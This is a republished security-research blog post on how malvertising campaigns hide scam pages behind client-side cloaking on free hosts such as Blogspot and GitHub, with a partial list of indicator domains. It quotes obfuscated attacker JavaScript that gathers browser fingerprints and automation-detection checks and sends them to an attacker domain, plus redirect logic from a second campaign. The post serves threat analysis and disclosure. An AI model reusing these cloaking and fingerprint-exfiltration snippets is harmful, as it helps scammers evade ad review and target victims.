The Trend Of Client-Side Fingerprinting In Cloaked Landing Pages

Read the original article: The Trend Of Client-Side Fingerprinting In Cloaked Landing Pages


Photo by Alekon pictures on Unsplash

This blog post will examine the client-side aspect of cloaking in non auto-redirect based malvertising chains. We will analyze the anatomy of some of the campaigns and strategies that real attackers are currently using.

We define cloaking as follows:

Cloaking is when varying content is served based on a device fingerprint with the intention of concealing malicious activity.

Cloaking as it pertains to ad fraud, black hat SEO, or cybercrime in general is as old as the internet itself and plays a significant role in the majority of malvertising attacks. This includes malicious campaigns that use auto-redirects as an attack vector as well.

Lately, however, there’s an entire category of scammers that are eschewing forced redirections and relying on clickbait to lure in victims.

Here’s an example of a typical malicious creative:

But these campaigns don’t always hit the ground running from day one, because they would be quickly shut down even as a result of the most rudimentary QA checks. Rather, the scammers have adapted their workflow to start with seemingly innocuous ads that might look something like this:

The ads are typically backed by what might look like the very rough beginnings of a content site like this:

Once the campaign flips, we will see the scam page:

Also noteworthy is that the when the switch takes place, it’s rarely global, but usually targeted to specific geos (and maybe even devices). This is done to reach specific audiences and fly at least somewhat under the radar. The switch can happen in a matter of hours or days.

As a malvertising strategy, this approach has its pros and cons. First of all, due to the short lifespans of these ad campaigns, an endless amount of domains with at least an equal number of content articles are required in order to scale. This means that perpetrators need to heavily utilize infrastructure automation as well as any possible resources for free domains and/or hosting to keep the costs of the operation down — and here is where we find the biggest gotcha that inspired this blog post:

Using free hosting services requires the malvertisers to relinquish any server-side control they might have if they rolled their own solution, so the initial cloaking layer needs to be client-side code.

Cloaking on the server-side can get quite sophisticated, which is great for evil doers as it gives them extremely granular targeting and control. The savviest criminals might even roll their own technology to do comprehensive fingerprinting based on nuances in how various browsers and devices conduct low level activity like TCP or TLS handshakes instead of using SaaS based cloaking services.

Let’s dissect an example:

We begin with a boring ad that doesn’t have much to say.

The landing page happens to be a blog dedicated to a single Chicken Tikka Masala Recipe…

Obviously this doesn’t exactly look completely innocent. Why create a blog for a single recipe with no ad or product to sell and why spend on a media buy to advertise it with an ad that probably no one will ever click on?

Let’s check the source and see what’s hiding.

And now we have the source of our client-side cloaking payload:

<script src="hxxps://hollydeal.club/tast/7e40.js"></script>

We will not do a line by line analysis of this code as it’s mostly bloat due to obfuscation, but we can focus on the meat which begins all the way down on line 85:

var a = [navigator['userAgent'], new Date(), (navigator[_0xd34cc3('0x4', 'thzB')]instanceof PluginArray ? navigator[_0xd34cc3('0x5', '6F1#')][_0xd34cc3('0x6', 'Rm(%')] : 0x0)['toString'](), navigator[_0xd34cc3('0x7', '*Pa6')], window['innerHeight'][_0xd34cc3('0x8', 'Rm(%')](), window[_0xd34cc3('0x9', '*0((')][_0xd34cc3('0xa', '2ENn')](), (_0xd34cc3('0xb', 'lt3z')in window || _0xd34cc3('0xc', 'miQl')in window || 'phantom'in window)[_0xd34cc3('0xd', '8gL5')](), (_0xd34cc3('0xe', 'CBx^')in window || _0xd34cc3('0xf', 'thzB')in window || _0xd34cc3('0x10', '0PsS')in window || _0xd34cc3('0x11', 'j$V&')in window || _0xd34cc3('0x12', 'pRZ8')in document || _0xd34cc3('0x13', 'thzB')in document || _0xd34cc3('0x14', 'CBx^')in document || _0xd34cc3('0x15', 'T9W$')in document || _0xd34cc3('0x16', '2ENn')in document || _0xd34cc3('0x17', 'CiJ%')in document || '__webdriver_unwrapped'in document || _0xd34cc3('0x18', '5r@q')in document || _0xd34cc3('0x19', '%O$#')in document || '__webdriver_script_func'in document || document['documentElement'][_0xd34cc3('0x1a', 'h5k8')](_0xd34cc3('0x1b', 'i7*i')) !== null || document[_0xd34cc3('0x1c', '#z1o')][_0xd34cc3('0x1d', 'fD8f')](_0xd34cc3('0x1e', 'fD8f')) !== null || document[_0xd34cc3('0x1f', 'j$V&')][_0xd34cc3('0x20', 'fSg[')](_0xd34cc3('0x21', '#z1o')) !== null)['toString'](), (_0xd34cc3('0x22', 'sbTv')in navigator)[_0xd34cc3('0x23', 'ahsa')](), (!!window['__nightmare'])[_0xd34cc3('0x24', 'miQl')](), window[_0xd34cc3('0x25', 'v]Ra')][_0xd34cc3('0x26', '$tI$')][_0xd34cc3('0x27', '#z1o')]('?') === -0x1 ? '' : window[_0xd34cc3('0x28', 'T9W$')][_0xd34cc3('0x29', 'j$V&')][_0xd34cc3('0x2a', '5r@q')](window[_0xd34cc3('0x2b', '2ENn')][_0xd34cc3('0x2c', '4p&n')]['indexOf']('?') + 0x1), f];

This is where the attacker builds an array of fingerprinting values that they will post back to themselves for analysis in order to decide what action to take next.

These fingerprinting checks include, among other items, things like the user agent, date, plugins, and a whole bunch of checks to see if the device is actually a remote controlled browser.

The final array will look something like this:

Lines 86–89 of the fingerprinting script serialize the array and post it back to the attacker as a parameter in the script src uri:

// stage a script tag
var b = document[_0x392d2b('0x2d', 'v]Ra')](_0x392d2b('0x2e', 'CBx^'));
b['type'] = _0x392d2b('0x2f', 'N15W');
// build the src uri and pass the fingerprinting data
b['src'] = '//hollydeal.club/tast/9mwcjwd7j3m6.js?qthohpun=' + btoa(enc(JSON[_0x392d2b('0x30', 'lt3z')](a), '9mwcjwd7j3m6'));

The code returned by the script tag is going to depend on whether or not the fingerprinting check passed or failed based on the targeting criteria of the malvertiser. If the fingerprint fails, we get served a decoy, which in this case is just the jQuery library. If it passes, we get redirected to a scam.

Here’s an example of a cloaked misleading claim:

At this point you might be wondering why we have placed so much focus on the client-side cloaking component when at the end of the day the fingerprint is going to get evaluated server-side anyway.

This all comes back to the point we made earlier about the sacrifices that bad actors need to make as a result of driving their costs down by leveraging free services and automation.

For example, in the last 30 days alone we have identified close to 200 malicious blogspot landing pages. To crank out another 200 fingerprinting domains becomes a pretty tall order which is why this piece of the malvertising chain often ends up being centralized.

In addition, the cloaking scripts are always on these fake intermediate landing pages as opposed to the ads themselves. This creates a layer of insulation between the ad tech platforms that the bad actors are abusing and their infrastructure.

While some QA processes on the ad tech side might scrutinize fishy fingerprinting inside a creative, it’s rare for ad platforms to go into the same level depth when it comes to the decoy landing pages of the ads themselves.

Let’s look at another malvertiser that likes to abuse blogspot at scale. This one is a personal favorite for their complete lack of even trying to look like they have “real” content to show:

But it get’s even better when we look under the hood at their fingerprinting code, all centralized around a single domain, muatui[.]com.

Oddly enough, the code makes zero effort to conceal what’s actually going on!

Let’s look at the ajax_ads() function on line 143 where the fingerprint is sent to the server:

if(result.cloak_result == 0){
fake_page_url = result.ads_fake_url;
if(fake_page_url !== null && fake_page_url !== ''){
window.location.href=fake_page_url;
}
}else{
real_page_url = result.ads_real_url;
if(real_page_url !== null && real_page_url !== ''){
window.location.href=real_page_url;
}
}

And let’s see what the AJAX response looks like as well:

{"ads_id":"","visitor_ip":"[redacted]","cloak_result":0,"ads_fake_url":"","ads_real_url":"","debug_sql":null}

Nice of them to let us know in plain text when they want to redirect to the fake page vs. the real page!

Of course blogspot is not the only vehicle for free cloaking page hosting. Services that are a bit more obscure are leveraged as well.

For example, here’s a fake e-commerce store that cloaks a scam page:

This time the cloaking is a bit more subtle:

And upon closer inspection, it’s just a little more bit more advanced as well. Here it is beautified:

Most of the code is not obfuscated, with the exception of the base64 encoded chunk on line 2, that like our previous payload, is used to check for remote controlled browsers:

The facebook url at the end serves as a pretty solid decoy as well:

A Note On Impact

Today, this type of cloaked clickbait-and-switch attack chain is the fastest growing malvertising tactic, even though it’s far from new.

In the last 30 days alone we’ve detected over 1300 cloaked landing page domains used either in outright scams or otherwise misleading schemes.

Services that are regularly abused include Blogspot, Github, Gitlab, and other more obscure free hosting solutions that are optimal for single page sites and are easily churn-able.

Partial IOC List (Last 30 Days)

Github —

jewelledelacruz.github.io
jeffyufdgd.github.io
ramirezarjay484.github.io
brandondumlao48.github.io
peytoncruz283.github.io
ruthcubero46.github.io
maxwelldimayuga.github.io
monicasoria467.github.io
alaineblesstripulca.github.io
jrkanecent.github.io
sofiaescudero1.github.io
nhythan21.github.io
jewelledelacruz2.github.io
samnthcrz.github.io
akshmirrnews.github.io
corygreen1.github.io

Blogspot —

tacosoupreceipe.blogspot.com
fashiontipsandidea.blogspot.com
whitesaucepastareceipe.blogspot.com
tomatosaucerecipesb.blogspot.com
cookierecipesbl.blogspot.com
aromatherapyprocess.blogspot.com
bestbeacin.blogspot.com
blushforface.blogspot.com
sonapurrecipes.blogspot.com
cookierecipesblo.blogspot.com
mothersdaygiftguid.blogspot.com
smokeyeyesyellow.blogspot.com
everydaymakeuproutin.blogspot.com
cobbsaladreceipe.blogspot.com
pumpkinsouprecipeblog.blogspot.com
tippingtourguide.blogspot.com
coboltteam3.blogspot.com
moviedayathome.blogspot.com
applecinnamonpanpies.blogspot.com
marakeshtbhere.blogspot.com
seconddedition.blogspot.com
countryfriedchicken.blogspot.com
quickbeansouprecipeblogs.blogspot.com
ecommerceguide22.blogspot.com
creativegifts12.blogspot.com
pintoposolerecipeblog.blogspot.com
firsttedition.blogspot.com
madubintangtujuh.blogspot.com
fifthhedition.blogspot.com
amlaforhaircare.blogspot.com
lasagnarecipeblog.blogspot.com
orangebiscottirecipeblogs.blogspot.com
albertatravelguide.blogspot.com
amazingosloguideblog.blogspot.com
wesreco.blogspot.com
tastysugarapplecake.blogspot.com
tastychickentikkamasala.blogspot.com
sorsontbnow.blogspot.com
chicagotravelexploreblogs.blogspot.com
fgjrtjjtj.blogspot.com
cabagecalad.blogspot.com
besthostelsinlosangeles.blogspot.com
skincarelookingyounger.blogspot.com
breadrecispe.blogspot.com
gulabphirnirecipeblog.blogspot.com
cookingideasnew.blogspot.com
helochefnew.blogspot.com
hairmaskdiy.blogspot.com
ghktk.blogspot.com
jtyjtggg.blogspot.com
rfgrghtf.blogspot.com
fortyj.blogspot.com
dfgsdgfdhrb.blogspot.com
gjjyyyjjh.blogspot.com
hgjhhnytt.blogspot.com
ytytkkk.blogspot.com<
[...]


Read the original article: The Trend Of Client-Side Fingerprinting In Cloaked Landing Pages